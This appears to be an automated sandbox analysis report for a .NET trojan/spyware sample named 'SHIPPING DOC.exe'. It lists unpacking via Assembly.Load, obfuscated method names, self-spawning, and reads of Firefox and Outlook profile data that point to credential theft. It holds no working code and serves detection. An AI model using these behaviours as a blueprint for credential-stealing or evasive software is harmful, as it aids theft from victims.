Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, hx522Aq0eW2kUhCv5G.cs	Security API names: _0020.AddAccessRule
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, hx522Aq0eW2kUhCv5G.cs	Security API names: _0020.SetAccessControl
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, hx522Aq0eW2kUhCv5G.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, hx522Aq0eW2kUhCv5G.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/1@1/1

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SHIPPING DOC.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

Mutant created: NULL

Source: SHIPPING DOC.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SHIPPING DOC.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SHIPPING DOC.exe	ReversingLabs: Detection: 34%
Source: SHIPPING DOC.exe	Virustotal: Detection: 41%

Source: unknown	Process created: C:\Users\user\Desktop\SHIPPING DOC.exe C:\Users\user\Desktop\SHIPPING DOC.exe
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process created: C:\Users\user\Desktop\SHIPPING DOC.exe C:\Users\user\Desktop\SHIPPING DOC.exe
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process created: C:\Users\user\Desktop\SHIPPING DOC.exe C:\Users\user\Desktop\SHIPPING DOC.exe
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process created: C:\Users\user\Desktop\SHIPPING DOC.exe C:\Users\user\Desktop\SHIPPING DOC.exe	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process created: C:\Users\user\Desktop\SHIPPING DOC.exe C:\Users\user\Desktop\SHIPPING DOC.exe	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: SHIPPING DOC.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SHIPPING DOC.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: SHIPPING DOC.exe, MainForm.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, hx522Aq0eW2kUhCv5G.cs	.Net Code: pn7EIw8wAE System.Reflection.Assembly.Load(byte[])
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, hx522Aq0eW2kUhCv5G.cs	.Net Code: pn7EIw8wAE System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 1_2_029BD8AA pushad ; retf	1_2_029BD8B1
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 1_2_050CC4B0 push 64050B91h; retf	1_2_050CC5AD
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Code function: 1_2_050CC5A1 push 64050B91h; retf	1_2_050CC5AD

Source: SHIPPING DOC.exe

Static PE information: section name: .text entropy: 7.885207920834807

Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, GKfjiIuHtil7qtynYQ.cs	High entropy of concatenated method names: 'USEP6CJvDp', 'fLyPSw0Odi', 'g3UPEGjULU', 'G9pPcuMhDZ', 'jpxP89pYi6', 'hSyPZVL9mb', 'kjtP5Xd7Cx', 'IniHrne6PU', 'BTTHJeiKKE', 'E9ZHC8elbP'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, LQtP5syIaTgvMBcXxt.cs	High entropy of concatenated method names: 'ToString', 'tXydbuKFnl', 'g7sdjTBpsq', 'kqodkKPQIW', 'mj6dKEr3MD', 'L8WdWj9ZlN', 'oRHdimD89Z', 'M13dhnluAJ', 'I2DdUTviHc', 'zIbdA92wZa'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, LNfkdJ1F0jiCp795oc.cs	High entropy of concatenated method names: 'iXFROeeJa5', 'T12ResZe39', 'RlfRxAgBN6', 'TVCRjuaFLx', 'ycJRKtI2LZ', 'unPRWF4ytp', 'znyRhdVptF', 'gpfRUHPVFM', 'dBrRGaO0Wm', 'OeHRbsnXxQ'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, bydEhqz6QADfbfEnlJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uOBPRUpSXt', 'CdVPvpTrax', 'dRIPd1FL6M', 'fT1P4v8W5h', 'QvtPHJV3Q0', 'QjPPPCc0tW', 'K7aPNnZiFB'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, suOfnC7BrQp7je2mxQ.cs	High entropy of concatenated method names: 'gjBvGuuVSD', 'mEdvw2EaeJ', 'O8tv75oUIk', 'IHavBi80Ue', 'xsivjTwgQv', 'yH6vkIgs7N', 'Q9DvK1hkfS', 'mTBvWM1oqJ', 'iGXvin2GdZ', 'CGHvhJVXoX'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, CReg2gfqxm9UgsNpFV.cs	High entropy of concatenated method names: 'doj4JGP2Is', 'AaQ4uQvtDA', 'VtTHacarVa', 'BFJH615njL', 'WFu4bcBXXC', 'JDs4whCAP6', 'iy441F8WtK', 'joO47x6uLx', 'cDC4BSOsh8', 'rnr4yf4n26'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, cP0ZAVEaVGCcLG4ZcV.cs	High entropy of concatenated method names: 'DCb6YEMNn1', 'VrV6qjtqpx', 'zy26MUy3Ua', 'yOM6nku5RI', 'uGD6vrOQtm', 'ok16docMpZ', 'AgcctojZtkbjSTjdFr', 'RamjPa5YjVe9Y5XQRH', 'nWG66scqNP', 'Q3J6STA7F8'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, YVWt3oKxm4mmSrrdWp.cs	High entropy of concatenated method names: 'ecc53RWyKh', 'Cbh5V4myaK', 'gYs5IH7Caq', 'wLs5D7F4SY', 'QNJ5myI3t7', 'iFo52N4JuB', 'QuI5eJVJOe', 'cvW5o4nMYn', 'aEEytZAZl0LbNJGDv1v', 'PScgfbALyUQTe6k0WZ9'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, hgxNb8JhgwL7S767rW.cs	High entropy of concatenated method names: 'uRWHcJxWZu', 'MNpH8Yregr', 'adnHtvHw63', 'rI7HZ1WLmh', 'YVgH5iBt5k', 'DmlHYamYed', 'AbJHqcaFHE', 'SmyHXanl0w', 'zfRHMI2C9X', 'dcbHnWnA9o'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, DL8PZIey2Uy3UagOMk.cs	High entropy of concatenated method names: 'j0AtDMa5nr', 'KBqtmZZP4T', 'kaQtOB4ahh', 'BJ2teAmptd', 'c7Itv4GBPR', 'z3JtdEwVnP', 'GIpt44VvFU', 'vFotHA6vnF', 'l3ttPcicpJ', 'ugNtNdm7E8'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, deejC06anDeniGPsCo9.cs	High entropy of concatenated method names: 'oBMPVtWU8N', 'zR3Pg3waxU', 'VPsPIpRJRV', 'i77PDmOq1E', 'vLvP0bncpV', 'S0cPmKdcVm', 'NQYP2QoEbq', 'dp8POG2Cum', 'bIBPejpT5V', 'TnFPovhRL9'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, QqyL2AC9kbkvyVoG46.cs	High entropy of concatenated method names: 'YFjHxotlG2', 'rLrHjSv30T', 'ipGHkfVvoR', 'WYrHKMT9pD', 'DRIH7tFvTc', 'UBhHWIqcYm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, OEMNn1OrrVjtqpxfs0.cs	High entropy of concatenated method names: 'tso87V8CF4', 'esk8BokL2c', 'VrJ8yOZbcI', 'pRC8TPxVY8', 'NnA8stUoeH', 'ICi8ftuBZn', 'EWW8r6QG5D', 'lj98Jo7YrY', 'Jjc8C9YyQi', 'rTj8u5gBDh'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, JAEHVZpOLNuB6f9cdN.cs	High entropy of concatenated method names: 'spuIA1M5g', 'Q3nDE0CAw', 'LKXm8Uugr', 'PoS2XYLop', 'qQUeCYV2H', 'P2Dof0eDP', 'M167Pk8Bh8ICUK8XR1', 'xF9FcTylsugKumfXyf', 'sbrHGI8wx', 'A0dNf4CsO'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, zdmNlA6SLcRJtZwB1Cl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'RuGN7IU4Cw', 'oHgNBMiWgk', 'bJZNyIFddF', 'YR2NT57Dl7', 'nLkNsaXerG', 'jq7NffRxKn', 'wqONraJJL8'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, DePoAHAYb2BjY7tG6U.cs	High entropy of concatenated method names: 'kpgYVigSHS', 'djKYgRrVpi', 'dNgYI84hGy', 'DfLYDpVBBg', 'pBDY0SA3N2', 'Fp9YmsApHM', 'zK2Y2ZOSSv', 'JjPYOWqEnl', 'twkYefIL6g', 'Jk7YoaFJpJ'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, Y5RI06ovnXHdiFGDrO.cs	High entropy of concatenated method names: 'TAhZ0IQVpX', 'W9OZ2LsRfA', 'hYQtkh05XM', 'sd2tKDFQkK', 'akAtW7juUb', 'YcxtiJL0mL', 'k1Uth1n1Pr', 'IRLtUCvZxq', 'CiCtAxNpWZ', 'NSttGgflTa'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, hx522Aq0eW2kUhCv5G.cs	High entropy of concatenated method names: 'VY5SLYPpsb', 'B3XSc0a1gJ', 'sSJS8WNJtV', 'vHLStjj4Xy', 'VtQSZggpMR', 'c8VS5GHbyO', 'Mj1SYLPmKi', 'UQ5SqQH8oV', 'LtnSXfkoZt', 'hZ9SMJuZ6L'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, mwQMCLhqNK2tMo69ZO.cs	High entropy of concatenated method names: 'kJAYc76LSS', 'sJ2YtI3xfd', 'j7vY5WGCnv', 'EU85uMavWx', 'huq5z7GId2', 'HmvYaKSDiQ', 'CiOY6LbvhX', 'YIrYp5OCvj', 'rMEYSkFmet', 'wFLYEt1ecV'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, OMqLGv8DtSqKrN8qLP.cs	High entropy of concatenated method names: 'Dispose', 'Ffp6COt5VS', 'd6npjDbcnR', 'VAfEE1nZDi', 'Ftg6uxNb8h', 'ywL6z7S767', 'ProcessDialogKey', 'VW7paqyL2A', 'ukbp6kvyVo', 'N46ppxKfji'
Source: 1.2.SHIPPING DOC.exe.60a0000.7.raw.unpack, vtmRk1xocMpZ7lVNsT.cs	High entropy of concatenated method names: 'NmE5LRLOha', 'Dw258GapOs', 'KGL5ZQUuuF', 'Ir75YmhKYm', 'VgB5qrHmn1', 'H0xZswnvmW', 'pkmZfrlr4B', 'm05ZrTl1E7', 'M59ZJgsxdq', 'mqcZCDxius'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, GKfjiIuHtil7qtynYQ.cs	High entropy of concatenated method names: 'USEP6CJvDp', 'fLyPSw0Odi', 'g3UPEGjULU', 'G9pPcuMhDZ', 'jpxP89pYi6', 'hSyPZVL9mb', 'kjtP5Xd7Cx', 'IniHrne6PU', 'BTTHJeiKKE', 'E9ZHC8elbP'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, LQtP5syIaTgvMBcXxt.cs	High entropy of concatenated method names: 'ToString', 'tXydbuKFnl', 'g7sdjTBpsq', 'kqodkKPQIW', 'mj6dKEr3MD', 'L8WdWj9ZlN', 'oRHdimD89Z', 'M13dhnluAJ', 'I2DdUTviHc', 'zIbdA92wZa'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, LNfkdJ1F0jiCp795oc.cs	High entropy of concatenated method names: 'iXFROeeJa5', 'T12ResZe39', 'RlfRxAgBN6', 'TVCRjuaFLx', 'ycJRKtI2LZ', 'unPRWF4ytp', 'znyRhdVptF', 'gpfRUHPVFM', 'dBrRGaO0Wm', 'OeHRbsnXxQ'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, bydEhqz6QADfbfEnlJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uOBPRUpSXt', 'CdVPvpTrax', 'dRIPd1FL6M', 'fT1P4v8W5h', 'QvtPHJV3Q0', 'QjPPPCc0tW', 'K7aPNnZiFB'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, suOfnC7BrQp7je2mxQ.cs	High entropy of concatenated method names: 'gjBvGuuVSD', 'mEdvw2EaeJ', 'O8tv75oUIk', 'IHavBi80Ue', 'xsivjTwgQv', 'yH6vkIgs7N', 'Q9DvK1hkfS', 'mTBvWM1oqJ', 'iGXvin2GdZ', 'CGHvhJVXoX'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, CReg2gfqxm9UgsNpFV.cs	High entropy of concatenated method names: 'doj4JGP2Is', 'AaQ4uQvtDA', 'VtTHacarVa', 'BFJH615njL', 'WFu4bcBXXC', 'JDs4whCAP6', 'iy441F8WtK', 'joO47x6uLx', 'cDC4BSOsh8', 'rnr4yf4n26'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, cP0ZAVEaVGCcLG4ZcV.cs	High entropy of concatenated method names: 'DCb6YEMNn1', 'VrV6qjtqpx', 'zy26MUy3Ua', 'yOM6nku5RI', 'uGD6vrOQtm', 'ok16docMpZ', 'AgcctojZtkbjSTjdFr', 'RamjPa5YjVe9Y5XQRH', 'nWG66scqNP', 'Q3J6STA7F8'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, YVWt3oKxm4mmSrrdWp.cs	High entropy of concatenated method names: 'ecc53RWyKh', 'Cbh5V4myaK', 'gYs5IH7Caq', 'wLs5D7F4SY', 'QNJ5myI3t7', 'iFo52N4JuB', 'QuI5eJVJOe', 'cvW5o4nMYn', 'aEEytZAZl0LbNJGDv1v', 'PScgfbALyUQTe6k0WZ9'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, hgxNb8JhgwL7S767rW.cs	High entropy of concatenated method names: 'uRWHcJxWZu', 'MNpH8Yregr', 'adnHtvHw63', 'rI7HZ1WLmh', 'YVgH5iBt5k', 'DmlHYamYed', 'AbJHqcaFHE', 'SmyHXanl0w', 'zfRHMI2C9X', 'dcbHnWnA9o'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, DL8PZIey2Uy3UagOMk.cs	High entropy of concatenated method names: 'j0AtDMa5nr', 'KBqtmZZP4T', 'kaQtOB4ahh', 'BJ2teAmptd', 'c7Itv4GBPR', 'z3JtdEwVnP', 'GIpt44VvFU', 'vFotHA6vnF', 'l3ttPcicpJ', 'ugNtNdm7E8'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, deejC06anDeniGPsCo9.cs	High entropy of concatenated method names: 'oBMPVtWU8N', 'zR3Pg3waxU', 'VPsPIpRJRV', 'i77PDmOq1E', 'vLvP0bncpV', 'S0cPmKdcVm', 'NQYP2QoEbq', 'dp8POG2Cum', 'bIBPejpT5V', 'TnFPovhRL9'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, QqyL2AC9kbkvyVoG46.cs	High entropy of concatenated method names: 'YFjHxotlG2', 'rLrHjSv30T', 'ipGHkfVvoR', 'WYrHKMT9pD', 'DRIH7tFvTc', 'UBhHWIqcYm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, OEMNn1OrrVjtqpxfs0.cs	High entropy of concatenated method names: 'tso87V8CF4', 'esk8BokL2c', 'VrJ8yOZbcI', 'pRC8TPxVY8', 'NnA8stUoeH', 'ICi8ftuBZn', 'EWW8r6QG5D', 'lj98Jo7YrY', 'Jjc8C9YyQi', 'rTj8u5gBDh'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, JAEHVZpOLNuB6f9cdN.cs	High entropy of concatenated method names: 'spuIA1M5g', 'Q3nDE0CAw', 'LKXm8Uugr', 'PoS2XYLop', 'qQUeCYV2H', 'P2Dof0eDP', 'M167Pk8Bh8ICUK8XR1', 'xF9FcTylsugKumfXyf', 'sbrHGI8wx', 'A0dNf4CsO'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, zdmNlA6SLcRJtZwB1Cl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'RuGN7IU4Cw', 'oHgNBMiWgk', 'bJZNyIFddF', 'YR2NT57Dl7', 'nLkNsaXerG', 'jq7NffRxKn', 'wqONraJJL8'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, DePoAHAYb2BjY7tG6U.cs	High entropy of concatenated method names: 'kpgYVigSHS', 'djKYgRrVpi', 'dNgYI84hGy', 'DfLYDpVBBg', 'pBDY0SA3N2', 'Fp9YmsApHM', 'zK2Y2ZOSSv', 'JjPYOWqEnl', 'twkYefIL6g', 'Jk7YoaFJpJ'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, Y5RI06ovnXHdiFGDrO.cs	High entropy of concatenated method names: 'TAhZ0IQVpX', 'W9OZ2LsRfA', 'hYQtkh05XM', 'sd2tKDFQkK', 'akAtW7juUb', 'YcxtiJL0mL', 'k1Uth1n1Pr', 'IRLtUCvZxq', 'CiCtAxNpWZ', 'NSttGgflTa'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, hx522Aq0eW2kUhCv5G.cs	High entropy of concatenated method names: 'VY5SLYPpsb', 'B3XSc0a1gJ', 'sSJS8WNJtV', 'vHLStjj4Xy', 'VtQSZggpMR', 'c8VS5GHbyO', 'Mj1SYLPmKi', 'UQ5SqQH8oV', 'LtnSXfkoZt', 'hZ9SMJuZ6L'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, mwQMCLhqNK2tMo69ZO.cs	High entropy of concatenated method names: 'kJAYc76LSS', 'sJ2YtI3xfd', 'j7vY5WGCnv', 'EU85uMavWx', 'huq5z7GId2', 'HmvYaKSDiQ', 'CiOY6LbvhX', 'YIrYp5OCvj', 'rMEYSkFmet', 'wFLYEt1ecV'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, OMqLGv8DtSqKrN8qLP.cs	High entropy of concatenated method names: 'Dispose', 'Ffp6COt5VS', 'd6npjDbcnR', 'VAfEE1nZDi', 'Ftg6uxNb8h', 'ywL6z7S767', 'ProcessDialogKey', 'VW7paqyL2A', 'ukbp6kvyVo', 'N46ppxKfji'
Source: 1.2.SHIPPING DOC.exe.3f2f0b8.2.raw.unpack, vtmRk1xocMpZ7lVNsT.cs	High entropy of concatenated method names: 'NmE5LRLOha', 'Dw258GapOs', 'KGL5ZQUuuF', 'Ir75YmhKYm', 'VgB5qrHmn1', 'H0xZswnvmW', 'pkmZfrlr4B', 'm05ZrTl1E7', 'M59ZJgsxdq', 'mqcZCDxius'

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
